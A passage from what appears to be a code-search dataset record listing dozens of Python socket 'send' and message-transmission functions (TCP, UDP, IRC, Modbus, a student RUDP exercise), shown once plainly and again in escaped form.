logger.error(\"%s: Cannot send while closed!\" % \\\n self.__class__.__name__)\n raise utils.TransportError (\"Cannot send while closed!\")\n \n self._socket.send_message(message, raw)","def send_message(self, message, raw = None):\n if not self._socket.is_open(): \n self.close()\n if not self.opened:\n logger.error(\"%s: Cannot send while closed!\" % \\\n self.__class__.__name__)\n raise utils.TransportError (\"Cannot send while closed!\")\n \n self._socket.send_message(message, raw)","def send(self, msg):\n raise NotImplementedError(\"DataStream does not implement send.\")","def _try_send_raw(self, raw_data):\r\n if self.connected:\r\n try:\r\n self.socket.send(raw_data)\r\n except Exception as exc:\r\n self.debug(exc)\r\n self.connected = False\r\n self.socket.close()","def send(self, sock):\n return sock.send(self.pack())","def send(self, sock):\n return sock.send(self.pack())","def msg(self, message, *args, **kwargs):\n\n target = kwargs.pop('target', None)\n raw = kwargs.pop('raw', False)\n\n if not target:\n target = self.line.sender.nick if self.line.pm else \\\n self.line.target\n\n if not raw:\n kw = {\n 'm': self,\n 'b': chr(2),\n 'c': chr(3),\n 'u': chr(31),\n }\n kw.update(kwargs)\n\n try:\n message = message.format(*args, **kw)\n except IndexError:\n if len(args) == 1 and isinstance(args[0], list):\n # Message might be: msg, [arg1, arg2], kwargs\n message = message.format(*args[0], **kw)\n else:\n raise\n\n self.connection.msg(target, message)","def _send(self, p: str, s) -> bytes:\n\n b = self._to_netstring(p.encode('ascii'))\n\n failure = s.sendall(b)\n if failure is not None:\n self._send(p, s)\n return b","def SCPI_sock_send(session,command,error_check=False):\n \n resp = \" \"\n session.sendall(str.encode(command + \"\\n\"))\n\n if error_check==True:\n err = get_error(session, command)","def send(self, byte: bytes): # 发送TCP数据，将string中的数据发送到连接的套接字。返回值是要发送的字节数量，该数量可能小于string的字节大小。\n # assert self._send_to, \"Connection not established yet. Use sendto instead.\"\n #############################################################################\n # TODO: YOUR CODE HERE #\n #############################################################################\n if self.isConnected:\n self.pktTime.clear() # 初始化发包时间\n pieces_size = 100\n datas = self.slice_into_pieces(byte, pieces_size) # 将包切片\n print('send:need to send {} pkts'.format(len(datas)))\n sw = SendingWindow(window_size=10, datas=datas, sender_time_out_method=self.sender_time_out) # 初始化发送窗口\n ack_finish = False\n for seq, seg in sw.buffer.items(): # 将窗口内的包发送\n print(\"send:send pkt \", seg.seqNumber)\n # time.sleep(self.RTT)\n self.sendto(seg.getSegment(), self.connectAddr)\n self.pktTime[seq] = time.time()\n\n while ack_finish is False: # 开始发送\n\n buffer, addr = self.recvfrom(1024) # 接受ack信息\n\n # head = buffer[:18]\n seg = segment.parse(buffer)\n\n #如果现在检测到对方在发，那么久改为recv模式\n if seg.payload!=b'':\n\n #TODO: 保守之策\n data = self.recv(2048)\n return\n\n if segment.Checksum(seg) is False:\n print('send: Check sum false')\n continue\n\n if seg.ackNumber in sw.buffer.keys():\n print(f'send: seg ack number {seg.ackNumber} in sw keys {sw.buffer.keys()} and payload is {str(seg.payload)}')\n con = sw.ack(seg.ackNumber) # 通知发送窗口接收到了包并且返回结果\n error = time.time() - self.pktTime[seg.ackNumber]\n self.RTT = self.RTT * (1 - self.rttRate) + self.rttRate * error\n sw.time_out = self.RTT\n\n if type(con) == list: # 返回结果:链表,链表中是滑动窗口后新加入的包,将其一一发送\n # print('sender: start to slide send window')\n for segg in con:\n # TODO:ADD TIME OUT\n # time.sleep(self.RTT)\n print(\"send:send pkt \", segg.seqNumber)\n self.sendto(segg.getSegment(), self.connectAddr)\n self.pktTime[segg.seqNumber] = time.time()\n\n elif con==True: # 返回结果:真,说明发送完毕\n ack_finish = True\n # print('sender: send finish')\n else:\n print(f'send: seg ack number {seg.ackNumber} not in sw keys {sw.buffer.keys()}')\n\n #############################################################################\n # END OF YOUR CODE #\n #############################################################################","def msg_client(msg, client):\r\n client.send(bytes(str(msg), \"utf-8\"))","def send(self, bytestream):\n total_sent = 0\n length_data = len(bytestream)\n try:\n while total_sent < length_data:\n # Returns the number of bytes sent\n nr_sent = self.socket.send(bytestream[total_sent:])\n total_sent += nr_sent\n except (socket.error, socket.timeout):\n # Evt17: Transport connection closed\n self.event_queue.put('Evt17')","def transmit(self, msg):\r\n # send our message to the client\r\n self.conn.sendall(msg)","def send_message(sock, message) -> None:\n print('[CLIENT LOG] sending message to server: {}'.format(str(message)))\n if type(message) == bytes:\n \n sock.sendall(message)\n else:\n sock.sendall(str.encode(str(message)))","async def on_socket_send(self, msg: \"Msg | MsgProto\") -> None:","def send(self, data:bytes):\n packet = Rudp.Packet(self.seq, 0, data)\n packet.timesamp = time()\n self.sendPacket(packet)\n self.seqPlusOne()\n return(packet)","def write(self, msg):\n self.sock.send(msg.encode())","def _send_and_receive(self, message):\n if self.header:\n message = self._add_voevent_header(message)\n\n self.sock.send(message.encode())\n \n data = self.sock.recv(self.BUFFER_SIZE)\n print(\"received data:\", data.decode())","def send(self, msg):\n if self.verbose:\n print('<- out ' + msg)\n self._socket.send_string(msg)\n return","def send(self, msg):\n encoded = [(i + '\\r').encode('ascii') for i in msg]\n for i in encoded:\n self.s.write(i)","def send(self, msg):\n self.__sock.send(msg)","def write(self, msg):\n cmd = self.__compose(msg)\n self.sock.send(cmd)","def send_message(self, message, raw = None):\n if not self.opened:\n logger.error(\"%s: Cannot send while closed!\" % \\\n self.__class__.__name__)\n raise utils.TransportError (\"Cannot send while closed!\")\n \n # Add copy to link buffer\n logger.debug(\"%s: Loop-back port write started...\" % \\\n self.__class__.__name__)\n if message != None:\n raw = message.raw_string()\n elif not isinstance(raw,str):\n raw = utils.to_ascii(raw)\n self._link.put(raw)\n logger.debug(\"%s: ...loop-back port write complete.\" % \\\n self.__class__.__name__)\n logger.info(\"%s: Wrote %d bytes:\\n%s\" % \\\n (self.__class__.__name__, len(raw),\n ' '.join(map(utils.hex,map(ord,raw)))))","def send_message(self, msg, stats=True, binary=False):\n raise NotImplemented()","def send_message(self, message):\n\n self.socket.send(message.serialize())","async def send(self):","def send(self, message):\n self.sock.send(message)","def prepare(self, data):\n\n buffer = []\n try:\n self.sendraw = buffer.append\n self.send(data)\n finally:\n del self.sendraw\n return buffer[0]","def _send(self) -> None:\n if not self.connected or now() < self.next_send:\n return\n self.next_send += self.poll_interval\n buff = []\n while self.outq:\n msg_id, tag, data = self.outq.popleft()\n buff.append(pickle.dumps((msg_id, tag, data)))\n if buff:\n stream = b\"\".join(buff)\n self.endpoint.sendall(stream)","def send_message(self, message):\n encoded_message = self.encode_message(message)\n self.socket.send(encoded_message)","def send_message(self, msg):\n if msg is None:\n raise ValueError('message cannot be None!')\n\n if not isinstance(msg, message.Message):\n raise ValueError('message must be a type of Message')\n\n message_json = json.dumps(msg.__dict__)\n message_length = len(message_json)\n message_length_binary = struct.pack('>I', message_length)\n\n logging.info(\"Send: {0}\".format(message_json))\n\n self.sck.send(message_length_binary)\n self.sck.send(message_json)","def send(event=None): #event is passed by binders.\n try:\n msg = my_msg.get()\n my_msg.set(\" \") #Clears input field.\n client_socket.send(bytes(msg, \"utf8\"))\n \n except:\n \n HOST = '10.0.0.8'\n PORT = 8081\n ADDR = (HOST, PORT)\n \n s = socket(AF_INET, SOCK_STREAM)\n client_socket.bind(ADDR)\n s.connect((HOST, PORT))\n s.send(msg)\n \n if msg == \"{quit}\":\n client_socket.close()\n top.destroy()","def onMessageBegin(self, isBinary):","def send(self, msg):\n if self.isConnected():\n pmsg = pickle.dumps(msg)\n if COMPRESS:\n pmsg = zlib.compress(pmsg)\n buffer = QByteArray()\n stream = QDataStream(buffer, QIODevice.WriteOnly)\n stream.setVersion(QDataStream.Qt_5_3)\n stream.writeUInt32(len(pmsg))\n stream.writeRawData(pmsg)\n bytesWritten = self.tcpsocket.write(buffer)\n self.tcpsocket.flush()\n self.tcpsocket.waitForBytesWritten()\n # qApp.processEvents() # send data immediately and don't wait for next mainloop\n logging.debug(\"Bytes written: %i\", bytesWritten)\n if bytesWritten > 0:\n return True\n else:\n logging.debug(\"Message not send. Not connected\")\n return False","def TCP(conn, addr):\n buffer = array('B', [0] * 300)\n cnt = 0\n while True:\n if cnt < 60000: cnt = cnt + 1\n else: cnt = 1\n try:\n conn.recv_into(buffer)\n TID0 = buffer[0] #Transaction ID to sync\n TID1 = buffer[1] #Transaction ID \n ID = buffer[6] #Unit ID\n FC = buffer[7]\n mADR = buffer[8]\n lADR = buffer[9]\n ADR = mADR * 256 + lADR\n LEN = buffer[10] * 256 + buffer[11]\n BYT = LEN * 2\n print(\"Received = \", buffer[0:13 + buffer[12]])\n if (FC in [1, 2, 3, 4]): # Read Inputs or Registers\n DAT = array('B')\n if FC < 3:\n BYT = ceil(LEN / 8) # Round off the no. of bytes\n v = 85 # send 85,86.. for bytes.\n for i in range(BYT):\n DAT.append(v)\n v = (lambda x: x + 1 if (x < 255) else 85)(v)\n else:\n DAT = array('B', np.arange(cnt, LEN+cnt, dtype=np.dtype('>i2')).tobytes())\n print(\"TID = %d, ID= %d, Fun.Code= %d, Address= %d, Length= %d\" \\\n %((TID0 * 256 + TID1), ID, FC, ADR, LEN))\n conn.send(\n array('B', [TID0, TID1, 0, 0, 0, BYT + 3, ID, FC, BYT]) + DAT)\n elif (FC in [5, 6, 15, 16]): # Write Registers\n BYT = buffer[12]\n conn.send(\n array('B', [TID0, TID1, 0, 0, 0, 6, ID, FC, mADR, lADR, buffer[10], buffer[11]]))\n buf = buffer[13:(13 + BYT)]\n print(\"TID = %d, ID= %d, Fun.Code= %d, Address= %d, Length= %d, Bytes= %d\" \\\n %((TID0 * 256 + TID1), ID, FC, ADR, LEN, BYT))\n if FC == 5 or FC == 15:\n message = 'bytes: '+ str(unpack('B' * BYT, buf))\n elif FC == 6 or FC == 16:\n message = str(unpack('>' + 'H' * int(BYT / 2), buf))\n print(\"Received Write Values =\", message)\n else:\n print(\"Funtion Code %d Not Supported\" % FC)\n exit()\n except Exception as e:\n print(e, \"\\nConnection with Client terminated\")\n exit()","def _send(self, data, newline=\"\\r\\n\", sock=None):\n self.outbuff.append(data+newline)\n for msg in self.outbuff:\n if self.print_raw:\n logger.debug(msg.strip())\n self.sock.sendall((msg+newline).encode(\"utf-8\"))","def send_msg(sock, msg):\n\n # Stores the length of message in big-endian order\n msg = struct.pack('>I', len(msg)) + msg\n\n # Writes all bytes to the stream\n sock.sendall(msg)","def send(self, data):\n pass","def sendMessageFrame(self, payload, sync=False):","def send(self, message, header='message'):\n if not message: return\n self.socket.sendall((header+':'+message).encode())","def send(self):\n if self.pending_messages:\n (this_message, self.pending_messages) = (self.pending_messages[0], self.pending_messages[1:])\n encoded_message = json.dumps(this_message).encode()\n if bytes_in_representation(len(encoded_message)) > self.byte_count_size:\n raise RuntimeError(\n \"?? excessive length (%d) for outgoing text (%s)\" % (len(encoded_message), this_message))\n #\n # finally, send outgoing byte count, followed by message\n #\n self.socket_.sendall(\n socket.htons(len(encoded_message)).to_bytes(self.byte_count_size, byteorder=sys.byteorder, signed=False) + encoded_message)","def sendall(self, s):\r\n self.write(s)","def send(self, message):\n \n #message = zlib.compress(message, 9)\n #message += \"\\nEOF\\n\"\n #print message\n try:\n self._send_and_receive(message)\n except socket.error as e:\n if e.errno == errno.EPIPE:\n self._connect_socket()\n self._send_and_receive(message)\n else:\n print(e)\n self.close_and_exit()"],"string":"[\n \"def sendRaw(self, msg, echo = False):\\n\\n sent = self.__sock.send(msg)\\n if sent > 0 and echo:\\n print \\\"Sent: %s\\\"%msg,\",\n \"async def send_raw(self, raw_message : str):\\n await self._connection.send_raw(raw_message)\",\n \"async def send_raw(self, data: bytes) -> None:\\n await self.socket.sendall(data)\",\n \"def sendTCP_raw_bytes(data,ip,port):\\n s=socket.socket()\\n s.settimeout(3)\\n s.connect((ip,port))\\n s.send(data)\\n #print (\\\"RetVal: %s\\\" % s.recv(1000))\\n return s.recv(1000)\",\n \"def _send(self, raw, addr):\\n raise NotImplementedError('implement using any Transport Layer')\",\n \"def _raw(self, txt):\\n\\n if not txt:\\n return\\n\\n rlog(2, self.name + '.sending', txt)\\n\\n try:\\n self.lastoutput = time.time()\\n itxt = toenc(outputmorphs.do(txt), self.encoding)\\n if self.ssl:\\n self.sock.write(itxt + '\\\\n')\\n else:\\n self.sock.send(itxt[:500] + '\\\\n')\\n except Exception, ex:\\n # check for broken pipe error .. if so ignore \\n # used for nonblocking sockets\\n try:\\n (errno, errstr) = ex\\n if errno != 32 and errno != 9:\\n raise\\n else:\\n rlog(10, self.name, 'broken pipe/bad socket error .. ignoring')\\n except:\\n rlog(10, self.name, \\\"ERROR: can't send %s\\\" % str(ex))\\n self.reconnect()\",\n \"def tcp_message(self, flow: mitmproxy.tcp.TCPFlow):\",\n \"def send(message):\\n\\tmessage = message.encode()\\n\\tconn.send(message)\",\n \"def send(self, data):\",\n \"def send_protocol_message(self, msg):\\n self.conn.send(msg + \\\"\\\\0\\\")\",\n \"def sendMessage(self, payload, isBinary):\",\n \"def send_message(self, message):\\r\\n\\t\\tself.__tcpSocket.write(message.encode('utf8'))\",\n \"def send(self):\\r\\n return self.sendRaw(self.message)\",\n \"def send(self, data: bytes):\",\n \"def send(msg): # event is passed by binders.\\n # print(\\\"i sended: \\\" + msg)\\n msg = msg + \\\";\\\"\\n client_socket.send(bytes(msg, \\\"utf8\\\"))\",\n \"def sendraw(self, txt):\\n\\n if self.stopped:\\n return\\n rlog(2, self.name + '.sending', txt)\\n self._raw(txt)\",\n \"def send_data(self, msg):\\n totalsent = 0\\n # tt= struct.unpack('c'*len(msg), msg)\\n # print(tt)\\n while totalsent < len(msg):\\n try:\\n sent = self.sockfd.send(msg)\\n except:\\n print(f'{self.ip} socket failed')\\n break\\n if sent == 0:\\n raise RuntimeError(\\\"Socket connection broken\\\")\\n totalsent = totalsent + sent\",\n \"async def send(self, message):\",\n \"def send_raw_pack(self, raw_data):\\n if self.append_connect:\\n return\\n self.append_send_buffer += raw_data\\n self.handle_write()\",\n \"def send_raw_pack(self, raw_data):\\n if self.append_connect:\\n return\\n self.append_send_buffer += raw_data\\n self.handle_write()\",\n \"def _send(self, message):\\n self.sock.sendall('%s\\\\n' % message)\",\n \"def send_message(self, message, raw = None):\\n if not self.opened:\\n logger.error(\\\"%s: Cannot send while closed!\\\" % \\\\\\n self.__class__.__name__)\\n raise utils.TransportError (\\\"Cannot send while closed!\\\")\\n if raw != None:\\n logger.error(\\\"%s: TCP Server doesn't support raw send!\\\" % \\\\\\n self.__class__.__name__)\\n raise utils.TransportError (\\\"TCP Server doesn't support raw send!\\\")\\n \\n # Send Message\\n try:\\n self._platform.route_message(message = message)\\n except utils.TransportError as ex:\\n for i in range(len(self._clients),0,-1):\\n if not self._clients[i-1].is_open():\\n return\\n raise ex\",\n \"def req_stream_bin(self):\\n meassage = b'SUP 23 1' + self.end_mess_bytes\\n print('Requesting binary stream...')\\n self.sock.sendall(meassage)\",\n \"def send_raw_pack(self, raw_data):\\n self.append_send_buffer += raw_data\\n LOGGER.debug(\\\"local session send_raw_pack %s\\\", raw_data)\\n if not self.append_connect:\\n self.handle_write()\",\n \"def send_msg(sock, msg):\\n msg += '\\\\0'\\n data = msg.encode('utf-8')\\n sock.sendall(data)\",\n \"def send(send_msg, sock):\\r\\n send_msg = send_msg.encode()\\r\\n sock.send(send_msg)\\r\\n msg = sock.recv(1024)\\r\\n msg = msg.decode()\\r\\n return msg\",\n \"def raw_socket(self) -> SocketType:\",\n \"def just_send(self, client_socket, msg):\\n msg = msg.encode('utf-8')\\n message_header = f\\\"{len(msg):<{HEADER_LENGTH}}\\\".encode('utf-8')\\n client_socket.send(message_header + msg)\\n return\",\n \"def __send_request(self, msg, sock):\\n if type(msg) != bytes:\\n response = bytes(f\\\"{msg}\\\", \\\"ascii\\\")\\n print(f\\\"--> Sending: {msg}\\\")\\n sock.sendall(response)\",\n \"def send(self, msg):\\n body = json.dumps(msg)\\n body = \\\"Content-Length: \\\" + str(len(body)) + \\\"\\\\r\\\\n\\\\r\\\\n\\\" + body\\n body = bytes(body, \\\"ascii\\\")\\n totalsent = 0\\n while totalsent < len(body):\\n sent = self.sock.send(body[totalsent:])\\n if sent == 0:\\n raise RuntimeError(\\\"socket connection broken\\\")\\n totalsent = totalsent + sent\",\n \"def send(self, msg):\\n msg = stc.pack('>I', len(msg)) + msg\\n self.sendall(msg)\",\n \"def send(self):\\n if(self.target):\\n try:\\n self.message = self.message +\\\"\\\\r\\\\n\\\"\\n self.target[0].send(self.message)\\n except socket.error, err:\\n print err\",\n \"def sendraw(self, st):\\n\\n st = self.as_str(st)\\n\\n if '\\\\n' in st or '\\\\r\\\\n' in st:\\n raise ValueError('cannot send strings with newline characters')\\n _python_print_function(st, file=self.stdout or sys.stdout)\",\n \"def send_message(self, message):\\n msg = pickle.dumps(message)\\n msg = bytes(f'{len(msg):<{HEADER_SIZE}}', FORMAT) + msg\\n self.client.send(msg)\\n return self.receive_message()\",\n \"def send_bytes(self, data: bytes) -> None:\",\n \"def _send(self, msg, msgID, protocol, remoteID):\\r\\n if self._GZIP_LVL:\\r\\n self._sendToClient(StringIO(zlib.compress(msg, self._GZIP_LVL)),\\r\\n msgID, protocol, remoteID)\\r\\n else:\\r\\n self._sendToClient(StringIO(msg), msgID, protocol, remoteID)\",\n \"def send_message(self, message, raw = None):\\n \\n # Message Data\\n if message != None:\\n raw = message.raw_string()\\n elif not isinstance(raw,str) and not isinstance(raw,bytes):\\n raw = utils.to_bytes(raw)\\n \\n # Encryption???\\n if self._crypt != None:\\n logger.debug(\\\"%s: Encryption started...\\\" % \\\\\\n self.__class__.__name__)\\n \\n # padd the bytes to a multiple of the block size\\n raw += self._rand.read(self._crypt.block_size - \\n (len(raw)%self._crypt.block_size))\\n \\n # perform the encryption\\n raw = self._crypt.encrypt(raw)\\n logger.debug(\\\"%s: ...encryption complete.\\\" % \\\\\\n self.__class__.__name__)\\n \\n # Send Message\\n try:\\n logger.debug(\\\"%s: Socket write started...\\\" % \\\\\\n self.__class__.__name__)\\n if self._addr == None:\\n sent = self._socket.send(raw)\\n else:\\n sent = self._socket.sendto(raw, self._addr)\\n if sent == len(raw):\\n logger.debug(\\\"%s: ...Socket write complete.\\\" % \\\\\\n self.__class__.__name__)\\n if isinstance(raw,str):\\n logger.info(\\\"%s: Wrote %d bytes:\\\\n%s\\\" % \\\\\\n (self.__class__.__name__, sent,\\n ' '.join(map(utils.hex,map(ord,raw[:sent])))))\\n else:\\n logger.info(\\\"%s: Wrote %d bytes:\\\\n%s\\\" % \\\\\\n (self.__class__.__name__, sent,\\n ' '.join(map(utils.hex,raw[:sent]))))\\n if sent < len(raw):\\n logger.error(\\\"%s: Socket write incomplete!\\\" % \\\\\\n self.__class__.__name__)\\n raise utils.TransportError (\\\"Write Incomplete!\\\")\\n \\n # Send Failed\\n except socket.error as ex:\\n if ex.args[0] != 104:\\n logger.error(\\\"%s: ...Socket has been closed.\\\" % \\\\\\n (self.__class__.__name__))\\n self.close()\\n logger.error(\\\"%s: ...Socket write failed:\\\\n%s\\\" % \\\\\\n (self.__class__.__name__,str(ex)))\\n raise utils.TransportError \\\\\\n (\\\"Socket Message send failed!\\\\n\\\" + str(ex))\",\n \"def test_send(self):\\n self.inverter.send(b\\\"\\\\x00\\\\x01\\\\x02\\\", b\\\"\\\")\\n received_message = self.sock.recv(4096)\\n self.assertEqual(message, received_message)\",\n \"def send(self, msg):\\n pass\",\n \"def send(self, msg):\\n pass\",\n \"def send(self, msg):\\n pass\",\n \"def send(self, data: bytes) -> int:\\n ...\",\n \"def Send(self, payload):\\n self._sock.send(payload)\",\n \"def send(self, msg):\\n # keep track of the total sent\\n # so we can make sure the whole message is sent\\n msg = (msg+'\\\\n').encode('utf-8')\\n totalsent = 0\\n while totalsent < len(msg):\\n sent = self.sock.send(msg[totalsent:])\\n # it is bad if we still have things to send\\n # but do not send anything\\n if sent == 0:\\n raise RuntimeError(\\\"connection broken\\\")\\n totalsent += sent\",\n \"def __send_short(self, msg_id, param1, param2):\\n data_out = struct.pack(\\\"<HBBBB\\\", msg_id, param1, param2,\\n self.__dst, self.__src)\\n if self.__debug:\\n print \\\">>> %s\\\" % binascii.hexlify(data_out)\\n self.__ser.write(data_out)\\n self.__ser.flush()\",\n \"def __send(self):\\r\\n self.msgLock.acquire()\\r\\n if self.numMsg > 0:\\r\\n self.socket.send(self.msg.pop(0))\\r\\n self.numMsg -= 1\\r\\n self.msgLock.release()\",\n \"def send_packet(sender, payload):\\n\\n sender.write(payload)\",\n \"def send(self, message):\\n if not hasattr(message, '__iter__'):\\n self.socket.send(message, constants.NOBLOCK)\\n else:\\n for m in message[:-1]:\\n self.socket.send(m, constants.NOBLOCK | constants.SNDMORE)\\n self.socket.send(message[-1], constants.NOBLOCK)\\n\\n if self.read_scheduled is None:\\n self.read_scheduled = reactor.callLater(0, self.doRead)\",\n \"def send_message(self, message, raw = None):\\n if not self.opened:\\n logger.error(\\\"%s: Cannot send while closed!\\\" % \\\\\\n self.__class__.__name__)\\n raise utils.TransportError (\\\"Cannot send while closed!\\\")\\n if raw != None:\\n logger.error(\\\"%s: UDP Server doesn't support raw send!\\\" % \\\\\\n self.__class__.__name__)\\n raise utils.TransportError (\\\"UDP Server doesn't support raw send!\\\")\\n \\n # Send Message\\n self._platform.route_message(message = message)\",\n \"def send(event=None): # event is passed by binders.\\r\\n msg = my_msg.get()\\r\\n my_msg.set(\\\"\\\") # Clears input field.\\r\\n client_socket.send(bytes(msg, \\\"utf8\\\"))\\r\\n if msg == \\\"{quit}\\\":\\r\\n client_socket.close()\\r\\n top.quit()\",\n \"def __read_message(self):\\r\\n\\t\\t# instr = QDataStream(self.__tcpSocket)\\r\\n\\t\\t# instr.setVersion(QDataStream.Qt_5_0)\\r\\n\\t\\t# if self.blockSize == 0:\\r\\n\\t\\t#\\t if self.__tcpSocket.bytesAvailable() < 2:\\r\\n\\t\\t#\\t\\t return\\r\\n\\t\\t#\\t self.blockSize = instr.readUInt16()\\r\\n\\t\\t# if self.__tcpSocket.bytesAvailable() < self.blockSize:\\r\\n\\t\\t#\\t return\\r\\n\\t\\t# # Print response to terminal, we could use it anywhere else we wanted.\\r\\n\\t\\t# message = str(instr.readString(), encoding='utf8')\\r\\n\\t\\t# print(\\\"New message received : '{}'.\\\".format(message))\\r\\n\\t\\t# self.decode_message(message)\\r\\n\\r\\n\\t\\tinstr = self.__tcpSocket.readAll()\\r\\n\\t\\tmessage = str(instr, encoding=\\\"utf8\\\")\\r\\n\\t\\tself.decode_message(message)\",\n \"def send_packet(sender, payload):\\n sender.write(payload)\",\n \"def send (self, data):\\n return self.sending.send(data)\",\n \"def client(msg):\\n # address changed to 10000 for server2.py\\n infos = socket.getaddrinfo('127.0.0.1', 10000)\\n stream_info = [idx for idx in infos if idx[1] == socket.SOCK_STREAM][0]\\n client_msg = socket.socket(*stream_info[:3])\\n client_msg.connect(stream_info[-1])\\n client_msg.sendall(msg.encode('utf8'))\\n buffer_length = 80\\n msg_complete = False\\n msg = u''\\n while not msg_complete:\\n part = client_msg.recv(buffer_length)\\n msg += part.decode('utf8')\\n if len(part) < buffer_length:\\n msg_complete = True\\n client_msg.close()\\n return msg\\n print(msg)\",\n \"def __send_message(self, data):\\n if RemotePlayerProxy.DEBUG:\\n print(f'[RPP] [SEND] -> [{self.name}]: {data}')\\n\\n try:\\n self.__socket.sendall(bytes(data, 'ascii'))\\n except Exception as e:\\n if RemotePlayerProxy.DEBUG:\\n print(e)\",\n \"def send(self, message):\\n pass\",\n \"def send(self, msg):\\r\\n if isinstance(msg, str):\\r\\n msg = msg.encode()\\r\\n logger.debug('Sending message: %s ...', repr(msg))\\r\\n self._socket.sendall(msg)\",\n \"def send_message(self, message, raw = None):\\n if not self._socket.is_open(): \\n self.close()\\n if not self.opened:\\n logger.error(\\\"%s: Cannot send while closed!\\\" % \\\\\\n self.__class__.__name__)\\n raise utils.TransportError (\\\"Cannot send while closed!\\\")\\n \\n self._socket.send_message(message, raw)\",\n \"def send_message(self, message, raw = None):\\n if not self._socket.is_open(): \\n self.close()\\n if not self.opened:\\n logger.error(\\\"%s: Cannot send while closed!\\\" % \\\\\\n self.__class__.__name__)\\n raise utils.TransportError (\\\"Cannot send while closed!\\\")\\n \\n self._socket.send_message(message, raw)\",\n \"def send(self, msg):\\n raise NotImplementedError(\\\"DataStream does not implement send.\\\")\",\n \"def _try_send_raw(self, raw_data):\\r\\n if self.connected:\\r\\n try:\\r\\n self.socket.send(raw_data)\\r\\n except Exception as exc:\\r\\n self.debug(exc)\\r\\n self.connected = False\\r\\n self.socket.close()\",\n \"def send(self, sock):\\n return sock.send(self.pack())\",\n \"def send(self, sock):\\n return sock.send(self.pack())\",\n \"def msg(self, message, *args, **kwargs):\\n\\n target = kwargs.pop('target', None)\\n raw = kwargs.pop('raw', False)\\n\\n if not target:\\n target = self.line.sender.nick if self.line.pm else \\\\\\n self.line.target\\n\\n if not raw:\\n kw = {\\n 'm': self,\\n 'b': chr(2),\\n 'c': chr(3),\\n 'u': chr(31),\\n }\\n kw.update(kwargs)\\n\\n try:\\n message = message.format(*args, **kw)\\n except IndexError:\\n if len(args) == 1 and isinstance(args[0], list):\\n # Message might be: msg, [arg1, arg2], kwargs\\n message = message.format(*args[0], **kw)\\n else:\\n raise\\n\\n self.connection.msg(target, message)\",\n \"def _send(self, p: str, s) -> bytes:\\n\\n b = self._to_netstring(p.encode('ascii'))\\n\\n failure = s.sendall(b)\\n if failure is not None:\\n self._send(p, s)\\n return b\",\n \"def SCPI_sock_send(session,command,error_check=False):\\n \\n resp = \\\" \\\"\\n session.sendall(str.encode(command + \\\"\\\\n\\\"))\\n\\n if error_check==True:\\n err = get_error(session, command)\",\n \"def send(self, byte: bytes): # 发送TCP数据，将string中的数据发送到连接的套接字。返回值是要发送的字节数量，该数量可能小于string的字节大小。\\n # assert self._send_to, \\\"Connection not established yet. Use sendto instead.\\\"\\n #############################################################################\\n # TODO: YOUR CODE HERE #\\n #############################################################################\\n if self.isConnected:\\n self.pktTime.clear() # 初始化发包时间\\n pieces_size = 100\\n datas = self.slice_into_pieces(byte, pieces_size) # 将包切片\\n print('send:need to send {} pkts'.format(len(datas)))\\n sw = SendingWindow(window_size=10, datas=datas, sender_time_out_method=self.sender_time_out) # 初始化发送窗口\\n ack_finish = False\\n for seq, seg in sw.buffer.items(): # 将窗口内的包发送\\n print(\\\"send:send pkt \\\", seg.seqNumber)\\n # time.sleep(self.RTT)\\n self.sendto(seg.getSegment(), self.connectAddr)\\n self.pktTime[seq] = time.time()\\n\\n while ack_finish is False: # 开始发送\\n\\n buffer, addr = self.recvfrom(1024) # 接受ack信息\\n\\n # head = buffer[:18]\\n seg = segment.parse(buffer)\\n\\n #如果现在检测到对方在发，那么久改为recv模式\\n if seg.payload!=b'':\\n\\n #TODO: 保守之策\\n data = self.recv(2048)\\n return\\n\\n if segment.Checksum(seg) is False:\\n print('send: Check sum false')\\n continue\\n\\n if seg.ackNumber in sw.buffer.keys():\\n print(f'send: seg ack number {seg.ackNumber} in sw keys {sw.buffer.keys()} and payload is {str(seg.payload)}')\\n con = sw.ack(seg.ackNumber) # 通知发送窗口接收到了包并且返回结果\\n error = time.time() - self.pktTime[seg.ackNumber]\\n self.RTT = self.RTT * (1 - self.rttRate) + self.rttRate * error\\n sw.time_out = self.RTT\\n\\n if type(con) == list: # 返回结果:链表,链表中是滑动窗口后新加入的包,将其一一发送\\n # print('sender: start to slide send window')\\n for segg in con:\\n # TODO:ADD TIME OUT\\n # time.sleep(self.RTT)\\n print(\\\"send:send pkt \\\", segg.seqNumber)\\n self.sendto(segg.getSegment(), self.connectAddr)\\n self.pktTime[segg.seqNumber] = time.time()\\n\\n elif con==True: # 返回结果:真,说明发送完毕\\n ack_finish = True\\n # print('sender: send finish')\\n else:\\n print(f'send: seg ack number {seg.ackNumber} not in sw keys {sw.buffer.keys()}')\\n\\n #############################################################################\\n # END OF YOUR CODE #\\n #############################################################################\",\n \"def msg_client(msg, client):\\r\\n client.send(bytes(str(msg), \\\"utf-8\\\"))\",\n \"def send(self, bytestream):\\n total_sent = 0\\n length_data = len(bytestream)\\n try:\\n while total_sent < length_data:\\n # Returns the number of bytes sent\\n nr_sent = self.socket.send(bytestream[total_sent:])\\n total_sent += nr_sent\\n except (socket.error, socket.timeout):\\n # Evt17: Transport connection closed\\n self.event_queue.put('Evt17')\",\n \"def transmit(self, msg):\\r\\n # send our message to the client\\r\\n self.conn.sendall(msg)\",\n \"def send_message(sock, message) -> None:\\n print('[CLIENT LOG] sending message to server: {}'.format(str(message)))\\n if type(message) == bytes:\\n \\n sock.sendall(message)\\n else:\\n sock.sendall(str.encode(str(message)))\",\n \"async def on_socket_send(self, msg: \\\"Msg | MsgProto\\\") -> None:\",\n \"def send(self, data:bytes):\\n packet = Rudp.Packet(self.seq, 0, data)\\n packet.timesamp = time()\\n self.sendPacket(packet)\\n self.seqPlusOne()\\n return(packet)\",\n \"def write(self, msg):\\n self.sock.send(msg.encode())\",\n \"def _send_and_receive(self, message):\\n if self.header:\\n message = self._add_voevent_header(message)\\n\\n self.sock.send(message.encode())\\n \\n data = self.sock.recv(self.BUFFER_SIZE)\\n print(\\\"received data:\\\", data.decode())\",\n \"def send(self, msg):\\n if self.verbose:\\n print('<- out ' + msg)\\n self._socket.send_string(msg)\\n return\",\n \"def send(self, msg):\\n encoded = [(i + '\\\\r').encode('ascii') for i in msg]\\n for i in encoded:\\n self.s.write(i)\",\n \"def send(self, msg):\\n self.__sock.send(msg)\",\n \"def write(self, msg):\\n cmd = self.__compose(msg)\\n self.sock.send(cmd)\",\n \"def send_message(self, message, raw = None):\\n if not self.opened:\\n logger.error(\\\"%s: Cannot send while closed!\\\" % \\\\\\n self.__class__.__name__)\\n raise utils.TransportError (\\\"Cannot send while closed!\\\")\\n 